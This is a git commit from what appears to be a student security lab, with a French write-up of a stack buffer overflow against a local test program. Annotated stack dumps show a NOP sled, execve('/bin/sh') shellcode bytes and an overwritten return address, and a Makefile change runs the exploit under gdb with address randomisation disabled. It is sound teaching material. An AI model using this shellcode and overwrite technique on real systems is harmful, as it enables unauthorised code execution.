finish TD5

This commit is contained in:
Yorick Barbanneau 2023-03-11 00:26:21 +01:00
parent 99e7388994
commit bcd853f871
2 changed files with 78 additions and 69 deletions

View file

@ -25,7 +25,7 @@ build: $(addprefix $(BUILD_DIR)/, $(TGT)))
PHONY: gdb
gdb: build/exploit build/anodin configure
./$(BUILD_DIR)/exploit > hack.txt &
echo '0x7fffffffe490' | ./$(BUILD_DIR)/exploit > hack.txt
PYTHONPATH=${PWD}/pframe${PYTHONPATH:+:${PYTHONPATH}} \
setarch -R gdb ./$(BUILD_DIR)/anodin --command=anodin.gdb
rm hack.txt

View file

@ -51,85 +51,94 @@ adresses vers notre *shellcode*, les padding avec des `nop` et le *shellcode*.
Avant la saisir par l'utilisateur dans `anodin` voici la pile:
```
0x7fffffffe540 0x00007fffffffe630
0x7fffffffe538 0x00007ffff7dff18a
0x7fffffffe530 0x0000000000000001
0x7fffffffe528 ... 0x00007ffff7ffdad0
0x7fffffffe520 arg3 0x0000000000000000
0x7fffffffe518 arg2 0x00000001f7fe6e10
0x7fffffffe510 arg1 0x00007fffffffe648
0x7fffffffe508 ret@ 0x00005555555551e8
0x7fffffffe500 bp 0x00007fffffffe530
0x7fffffffe4f8 0x0000000000000000
0x7fffffffe4f0 0x0000000000000000
0x7fffffffe4e8 0x0000000000000000
0x7fffffffe4e0 0x0000000000000000
0x7fffffffe520 0x00007fffffffe610
0x7fffffffe518 0x00007ffff7dff18a
0x7fffffffe510 0x0000000000000001
0x7fffffffe508 ... 0x00007ffff7ffdad0
0x7fffffffe500 arg3 0x0000000000000000
0x7fffffffe4f8 arg2 0x00000001f7fe6e10
0x7fffffffe4f0 arg1 0x00007fffffffe628
0x7fffffffe4e8 ret@ 0x00005555555551e8
0x7fffffffe4e0 bp 0x00007fffffffe510
0x7fffffffe4d8 0x0000000000000000
0x7fffffffe4d0 0x0000000000000040
0x7fffffffe4c8 0x000000000000000c
0x7fffffffe4d0 0x0000000000000000
0x7fffffffe4c8 0x0000000000000000
0x7fffffffe4c0 0x0000000000000000
0x7fffffffe4b8 0x0000000000000040
0x7fffffffe4b0 sp 0x0000000000000004
0x7fffffffe4a8 0x000055555555518c
0x7fffffffe4b8 0x0000000000000000
0x7fffffffe4b0 0x0000000000000040
0x7fffffffe4a8 0x000000000000000c
0x7fffffffe4a0 0x0000000000000000
0x7fffffffe498 0x00007ffff7ffe2e0
0x7fffffffe490 0x00007fffffffe648
0x7fffffffe488 0x0000000000000800
0x7fffffffe480 0x0000000000000000
0x7fffffffe478 0x0000000000000000
0x7fffffffe470 0x0000000000000000
0x7fffffffe468 0x0000000000000000
0x7fffffffe460 0x0000000000000000
0x7fffffffe458 0x0000000000000000
0x7fffffffe450 0x0000000000000000
0x7fffffffe448 0x800000000000000e
0x7fffffffe440 0x0000000000000002
0x7fffffffe438 0x0000000301000000
0x7fffffffe430 0x0000000000000000
0x7fffffffe498 0x0000000000000040
0x7fffffffe490 sp 0x0000000000000004
0x7fffffffe488 0x00005555555551af
0x7fffffffe480 0x00007fffffffe4e0
```
Après la saisir l'utilisateur, et donc **l'injection du code par `exploit`** la
Après la saisie l'utilisateur, et donc **l'injection du code par `exploit`** la
pile a un tout autre aspect. On voit bien l'action de la "*mitraillette*" sur
le bas de la pile avec l'adresse de retour.
```
0x7fffffffe540 0x0000000000000000
0x7fffffffe538 0x0000000000000000
0x7fffffffe530 0x0000000000000000
0x7fffffffe528 0x00007fa4796f5e18
0x7fffffffe520 0x00007fa4796f5e18
0x7fffffffe518 0x00007fa4796f5e18
0x7fffffffe510 0x00007fa4796f5e18
0x7fffffffe508 ret@ 0x00007fa4796f5e18
0x7fffffffe500 bp 0x00007fa4796f5e18
0x7fffffffe4f8 0x00000000796f5e18
0x7fffffffe4f0 0x00007fa4796f5e18
0x7fffffffe4e8 0x0000000000000000
0x7fffffffe4e0 0x0000000000000000
0x7fffffffe4d8 0x050fe6894857e289
0x7fffffffe4d0 0x48006a0000003bc0
0x7fffffffe4c8 0xc7485f0068732f6e
0x7fffffffe4c0 0x69622f00000008e8
0x7fffffffe4b8 0x9090909090909090
0x7fffffffe4b0 sp 0x9090909090909090
0x7fffffffe4a8 0x00005555555551cc
0x7fffffffe4a0 0x0000000000000003
0x7fffffffe498 0x00007ffff7e153f0
0x7fffffffe490 0x00007ffff7ffd020
0x7fffffffe488 0x0000555555557dd8
0x7fffffffe480 0x00007fffffffe658
0x7fffffffe478 0x0000000000000000
0x7fffffffe470 0x00007fffffffe500
0x7fffffffe468 0x00007fffffffe648
0x7fffffffe460 0x00007ffff7ffd020
0x7fffffffe458 0x0000000055557dd8
0x7fffffffe450 0x0000000000000000
0x7fffffffe448 0x00007fffffffe4b0
0x7fffffffe440 0x00007ffff7faaa80
0x7fffffffe438 0x00007fffffffe4b0
0x7fffffffe430 0x00007ffff7dd5740
0x7fffffffe520 0x0000000000000000
0x7fffffffe518 0x0000000000000000
0x7fffffffe510 0x0000000000000000
0x7fffffffe508 0x00007fffffffe498
0x7fffffffe500 0x00007fffffffe498
0x7fffffffe4f8 0x00007fffffffe498
0x7fffffffe4f0 0x00007fffffffe498
0x7fffffffe4e8 ret@ 0x00007fffffffe498
0x7fffffffe4e0 bp 0x00007fffffffe498
0x7fffffffe4d8 0x00007fffffffe498
0x7fffffffe4d0 0x00007fffffffe498 ; mitraillette enclenchée!
0x7fffffffe4c8 0x0000000000000000
0x7fffffffe4c0 0x0000000000000000
0x7fffffffe4b8 0x050fe6894857e289
0x7fffffffe4b0 0x48006a0000003bc0
0x7fffffffe4a8 0xc7485f0068732f6e
0x7fffffffe4a0 0x69622f00000008e8 ; début de notre shellcode
0x7fffffffe498 0x9090909090909090 ; nop
0x7fffffffe490 sp 0x9090909090909090 ; nop
0x7fffffffe488 0x00005555555551c0
0x7fffffffe480 0x00007fffffffe638
; [...]
```
On voit aussi apparaitre notre *Instruction Pointer* dans la pile lorsque notre
shellcode est exécuté. Les différents paramètres pour **l'appel système** se
mettent alors en places.
```
0x7fffffffe4f0 sp 0x00007fffffffe498
0x7fffffffe4e8 0x00007fffffffe498
0x7fffffffe4e0 0x00007fffffffe498
0x7fffffffe4d8 0x00000000ffffe498
0x7fffffffe4d0 0x00007fffffffe498
0x7fffffffe4c8 0x0000000000000000
0x7fffffffe4c0 0x0000000000000000
0x7fffffffe4b8 0x050fe6894857e289
0x7fffffffe4b0 0x48006a0000003bc0
0x7fffffffe4a8 0xc7485f0068732f6e
0x7fffffffe4a0 0x69622f00000008e8
0x7fffffffe498 ip bp 0x9090909090909090
0x7fffffffe490 0x9090909090909090
0x7fffffffe488 0x00005555555551cc
0x7fffffffe480 0x0000000000000003
```
Voici les éléments de notre `exploit` qui se retrouvent dans la pile, les
diférentes parties sont délimitées par des crochets:
```
0x7fffffffe4b8 0x[050f] e6894857e289 ; 4
0x7fffffffe4b0 0x48006a000000 [3b] c0 ; 3
0x7fffffffe4a8 0xc7485f0068732f6e
0x7fffffffe4a0 0x69622f [00000008e8] ; 2
0x7fffffffe498 ip bp 0x9090909090909090 ; 1
```
1. piste d'atterrissage de l'exploit preparée avec des `nop`
2. placement en mémoire de notre chaine `/bin/sh`
3. le numéro d'appel système pour `execve` (59 ou *0x3b*)
4. lancement de notre appel système
Lors de l'instruction pas à pas du code assembleur, nous pouvons observer la
mise en place des arguments de notre appel système dans les différents
registres, notamment *0x3b* dans `rax`.